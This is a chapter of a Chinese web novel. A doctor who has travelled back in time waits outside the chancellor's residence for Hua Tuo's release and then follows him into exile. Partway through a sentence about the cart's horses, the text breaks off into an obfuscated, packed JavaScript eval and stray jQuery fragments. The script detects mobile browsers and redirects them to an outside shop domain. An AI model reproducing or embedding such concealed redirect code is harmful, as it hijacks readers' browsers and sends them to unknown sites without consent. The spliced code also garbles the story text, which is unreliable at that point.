顾湘在相府门口守了三天。
第一天，她到的时候是晌午。日头正毒，晒得地面的石板发烫，热气蒸腾上来，远处的景物都在晃动。她没有带伞，也没有带水。她就站在相府大门对面的那棵槐树下，一动不动，像一棵被栽在那里的树。
门前的卫士换了两班。第一班是四个年轻兵卒，站得笔直，目不斜视。第二班换成了两个中年老兵，腰间挎着刀，脸上没有表情。他们看见顾湘，看了第一眼，第二眼就不看了——相府门口什么样的人都有，求官的、告状的、哭丧的、卖艺的，多一个等丈夫的女人，不算稀奇。
傍晚的时候，阿香从谯县赶来了。她背着一个包袱，里面装了两件换洗衣服和几个干饼。她跑到顾湘身边，气喘吁吁地说：“先生，你一夜没睡就走了，我追了一天才追上来。”
顾湘接过干饼，咬了一口，嚼了很久才咽下去。不是饼硬，是她嗓子眼细了。
“阿香，你回去。”顾湘说。
“我不回去。”
“济世堂不能没人。”
“我让隔壁王婶帮忙看着呢。”阿香说，语气里有十四岁少女特有的倔强，“先生在哪，我在哪。”
顾湘看了她一眼，没有再说第二遍。
夜里，她们在槐树下坐着。六月的许昌，白天热得像蒸笼，夜里却凉飕飕的，风从北边吹来，带着城外庄稼地的青草气。相府门口的灯笼亮了，红彤彤的光照在石阶上，像一摊凝固的血。卫士换了第三班，新来的四个年轻人精神抖擞，其中一个偷偷看了顾湘好几眼。
顾湘靠在树干上，睁着眼睛看相府的围墙。围墙很高，青砖砌的，上面覆着黑瓦。她看不见墙那边有什么，但她知道华佗就在墙那边的某个地方。也许在东边的偏院，也许在地牢里。她不知道他有没有受伤，有没有吃饭，有没有人跟他说话。
她的指甲掐进掌心里，掐出四个月牙形的印子。
第二天，下了一场雨。
雨不大，淅淅沥沥的，像有人在头顶筛沙子。槐树的叶子挡不住雨，雨水顺着叶尖滴下来，滴在顾湘的头发上、肩膀上、手背上。她的衣裳湿了，贴在身上，又冷又重。阿香把包袱顶在两人头上挡雨，但没什么用，雨水从包袱两边淌下来，把她们的裤腿浇得透湿。
相府的卫士换了第四班。这一次是一个小头目模样的人，走过来看了看她们，犹豫了一下，转身进去了。过了一会儿，他端了两碗热汤出来，放在她们脚边，什么也没说就走了。
顾湘端起碗，喝了一口。是姜汤，放了红糖，辣中带甜，从喉咙一路暖到胃里。她端着碗的手在发抖——不是因为冷，是因为她忽然意识到，这碗姜汤可能是卞夫人让人送的。
“谢谢。”她对着那扇紧闭的大门说了一声。声音不大，不知道有没有人听见。
第三天，顾湘开始发烧。
不是高烧，是低烧，额头温温的，太阳穴隐隐作痛。她的嘴唇干裂了，舌尖舔上去有铁锈味。阿香急得团团转，想去找大夫，又不敢离开顾湘。最后还是那个小头目看不下去了，从府里拿了一碗粥和一剂退烧药出来。
“这位娘子，”小头目压低声音说，“曹公已经下令了，华先生改判流放，不杀了，你回去吧。”
顾湘摇了摇头。
她要亲眼看见他走出来。
她要确认他还活着。
第四天清晨，天刚蒙蒙亮。
许昌城还睡着，只有东边的天际泛着一层鱼肚白，薄薄的，像一张宣纸铺在天上。相府门口的灯笼已经灭了，铜制的灯座还带着一丝余温。晨风从南边吹来，带着露水的湿气和远处荷塘的清香。
顾湘靠在树干上，迷迷糊糊地打了个盹。三天没有合眼，她的身体已经到了极限。阿香把外衣脱下来盖在她身上，自己抱着胳膊在旁边守着。
就在这时候，相府的门开了。
不是侧门，是正门。两扇朱漆大门从里面被拉开，发出沉闷的“吱呀”声，门轴转动的声音在清晨的空气里格外清晰，像是有人在用指甲刮木头。
顾湘猛地睁开眼睛。
一个人从门里走了出来。
他瘦了很多。那件脏兮兮的囚衣挂在他身上，像一件大了两号的麻袋，领口敞着，露出锁骨下面深深的凹陷。他的头发白了大半，不是花白，是大片大片的雪白，像冬天落满了雪的松枝。脸上的皱纹更深了，从鼻翼两侧一直延伸到嘴角，像刀刻的一样。
但他的眼睛还是那么亮。
那双眼睛在晨光里微微眯了一下——在地牢里待了太久，忽然见到天光，瞳孔缩成针尖大的一点。他下意识地抬起手挡住眼睛，手腕上露出一圈圈红痕，那是绳索勒出来的，有的地方破了皮，结了暗红色的痂。
他的脖子上戴着枷锁。木头的，很沉，压得他的肩膀微微下沉。但他的脊背仍然是直的——他咬着牙，把脊背挺起来，像一棵被风吹弯又弹直的竹子。
他每一步都走得很稳。从门槛到台阶，从台阶到石狮子，从石狮子到槐树。脚步不快不慢，像是在丈量一段很重要的路程。
顾湘站起来。
她的腿麻了，三天蹲坐让她的膝盖像生了锈，站起来的时候整个人晃了一下，阿香赶紧扶住她。她推开阿香的手，一步一步朝华佗走过去。
她的眼泪在眼眶里打转，但她咬着嘴唇不让它掉下来。她说过，在见到他之前不能哭。哭不吉利。
她走到他面前，停下来。
他们之间隔了两步的距离。她看着他，他看着她。谁都没有先开口。
然后顾湘冲了过去，一把抱住了他。
她的额头抵在他的锁骨上，他的下巴搁在她的头顶上。她闻到他身上的气味——不是药香，是地牢里的霉味、干草的腐味、还有他自身散发出的、久未洗澡的酸涩气息。这些气味混在一起，难闻得要命，但顾湘觉得这是全世界最好闻的味道。
“你活着。”她说，声音哽咽得几乎说不出完整的字。
“活着。”华佗说。他的声音沙哑，像是砂纸在木板上摩擦，但很稳。
“你答应过我的。”
“我答应过你。”
顾湘抬起头，看着他。晨光从他的背后照过来，把他的轮廓镀上一层淡金色的光。他的脸上有胡茬，密密麻麻的，青黑色的，至少有四五天没有刮过。眼眶深深地凹下去，眼窝里的阴影看起来像两块淤青。嘴唇干裂了好几道口子，有的地方渗出了血丝。
但他在笑。
不是嘴角微微弯一下的那种笑，是真正的、完整的、露出牙齿的笑。笑容从他的嘴角蔓延到眼角，眼角堆起细细的纹路，那些纹路在晨光里像干涸的河床，但河床里流淌着水。
“南风，”他说，“我回来了。”
顾湘的眼泪终于掉了下来。
她不是一个爱哭的人。前世在医院里，她见过太多生死，眼泪早就流干了。这一世在济世堂，她给死人缝合过伤口，给活人截过肢，从来没有手软过。但在华佗面前，她的防线总是脆得像纸。
她踮起脚尖，用袖子擦他脸上的灰。
“华佗，你再也不许一个人去许昌。”
“好。”
“再也不许。”
“好。”
她的袖子在他脸上擦过，从额头到颧骨，从颧骨到下巴，越擦越脏——他脸上的灰太多了，袖子只能把灰抹匀。顾湘看着那张越擦越花的脸，忽然笑了。笑着笑着又哭了。
华佗抬起手，想帮她擦眼泪。但枷锁卡住了他的手臂，他的手只能抬到胸口的位置，够不到她的脸。他试了两次，放弃了，低下头，用鼻尖轻轻碰了碰她的额头。
“咳——”
一声咳嗽从旁边传来。
刘差役和张差役站在相府门口，一人挎着一把刀，腰间挂着一串钥匙。刘差役四十来岁，黑脸膛，络腮胡子，眼睛不大但很有神。张差役年轻一些，三十出头，瘦高个，脸上有一颗痣。
刘差役又咳嗽了一声，走过来，双手抱拳：“南风先生，华先生是流放之身，要去交州。曹公有令，限三个月内到达。路上不能跑，不能耽搁。您……”
“我跟他去。”顾湘说。
刘差役和张差役对视了一眼。他们押送过很多犯人，有哭的、有闹的、有半路逃跑的、有家人来送行的，但妻子跟着一起流放的，还是头一回。
“南风先生，交州远着呢。路不好走，瘴气重，去了未必能回来。”张差役开口了，声音里带着一丝劝慰的意思。
“我知道。”顾湘说。
“那您还……”
“他在哪，我在哪。”
刘差役又看了张差役一眼。这一眼里有无奈，也有一丝说不清的敬重。他叹了口气，走到马车旁边，把车板上的干草重新铺了铺，铺厚了一层。
“那就走吧。趁着天凉，多赶些路。”
马车很破。两个轮子，一个车板，一个车辕，没有篷。左边的轮子有些歪，转起来一颠一颠的。车板上铺了一层干草，薄薄的，有的地方露出了下面的木板。两匹马拴在车辕上，一匹是枣红色的老马，毛色暗淡，肋骨一根根地凸出来；另一匹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673495|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是灰色的骡子，耳朵耷拉着，看起来比老马还蔫。
顾湘从怀里掏出一串钱，递给刘差役。铜钱用麻绳串着，沉甸甸的，大概有五六百文。
“刘大哥、张大哥，路上辛苦了。这点钱你们拿着，买酒喝。”
刘差役推辞了一下：“南风先生，这不合适……”
“拿着。”顾湘把钱塞进他手里，“路上还要靠两位大哥照应。”
刘差役把钱收进怀里，脸色缓和了不少。他拍了拍马车的车板：“南风先生，我们也不容易。曹公说了，华先生必须到交州，少一根头发都不行。只要你们不跑，我们不为难你们。路上你们想走就走，想歇就歇，我们听你们的。”
马车驶出了许昌城。
城门是卯时开的，他们已经赶上了第一批出城的人。
顾湘和华佗并肩坐在车板上。车板很窄，两个人的肩膀挨在一起，随着马车的颠簸一下一下地碰着。干草在屁股底下发出窸窸窣窣的声音，草梗扎得腿痒痒的。
头顶的天灰蒙蒙的，云层很厚，把太阳遮得严严实实。远处的地平线上有一层薄薄的雾气，把田野和村庄都罩在里面，看起来像一幅没干透的水墨画。路两边的庄稼长得正旺，玉米一人多高，叶子绿得发黑；大豆矮一些，开着细碎的紫色小花。
华佗靠在车板上，闭着眼睛。他的头微微仰着，下巴抬起来，喉结在瘦削的脖子上突出一个明显的骨节。晨风吹过他的脸，把他花白的头发吹起来，露出耳后一片青灰色的头皮。
顾湘歪着头看他。她数了他脸上的皱纹——额头三道，眼角两道，鼻翼到嘴角两道。以前没有这么多。
“交州很远，去了可能回不来。”
华佗睁开眼睛，侧过头来看她。那双眼睛在灰蒙蒙的天光下依然很亮，瞳孔深处有一团小小的、温暖的光。
“我知道。”他说。
“那你还去？”
华佗看着她，目光里有温柔，也有一种笃定。
“你去哪，我去哪。”
顾湘靠在他肩上，闭上了眼睛。他的肩膀很硌——瘦了太多，骨头硌着她的脸颊，像靠在一截树干上。但她觉得很踏实。她能感觉到他的体温隔着囚衣传过来，温温的，像冬天里的一只汤婆子。
马车继续向南。
路越来越颠。官道出了许昌城就变成了土路，坑坑洼洼的，车轮碾过去，车身晃得像摇篮。左边那个歪轮子每转一圈就发出“咯噔”一声响，像是有人在用木棍敲车轮。
刘差役坐在车辕上赶车，手里攥着缰绳，嘴里叼着一根狗尾巴草。张差役跟在马车后面走，步子不快不慢，一只手扶着刀柄，另一只手插在腰里。
走了大约一个时辰，路两边渐渐荒凉起来。村庄变少了，田地也变得零碎，大片大片的野草从路边的沟渠里长出来，有的比人还高。偶尔有一只野兔从草丛里窜出来，在路中间愣一下，然后飞快地钻进另一边的草丛里。
顾湘睁开眼睛，看着路两边的风景。她的目光落在一棵歪脖子柳树上——柳树长在一条干涸的河沟边上，树干歪向水面，枝条垂下来，像一把撑开的绿伞。
“华佗，你还记得我们第一次见面吗？”
“记得。”华佗说，“你晕倒在雪地里，手里攥着半板布洛芬。”
“你不是说没见过那种药吗？”
“是没见过。”华佗顿了顿，“但我信你。”
顾湘沉默了一会儿。
“华佗，你后悔吗？后悔收留我？后悔跟我在一起？”
华佗没有立刻回答。他低下头，看着自己手腕上的红痕。那些伤痕在日光下看起来比在地牢里更触目惊心——皮肤破了的地方已经结了黑红色的痂，没有破的地方是一圈一圈的紫红色勒痕，像戴了一副用淤血编成的手镯。
“不后悔。”他说。
“为什么？”
“因为没有你，我这辈子不会知道，两千年后还有人记得我。有人记得我的名字，记得我做过的事，记得我配过的方子。”他的声音很轻，“一个人能被记住两千年，这辈子就值了。”
顾湘把脸埋进他的肩窝里，没有说话。她的手伸过去，握住了他的手。他的手很粗糙，指节粗大，指甲缝里还有洗不掉的草药渍。她一根一根地掰开他的手指，把自己的手指插进去，十指相扣。
马车继续向南。
远处的天边，云层裂开了一道缝，一束阳光从缝隙里漏下来，照在远处的山丘上，把整座山丘镀成了一片金黄色。
那束阳光正好照在他们要去的方向。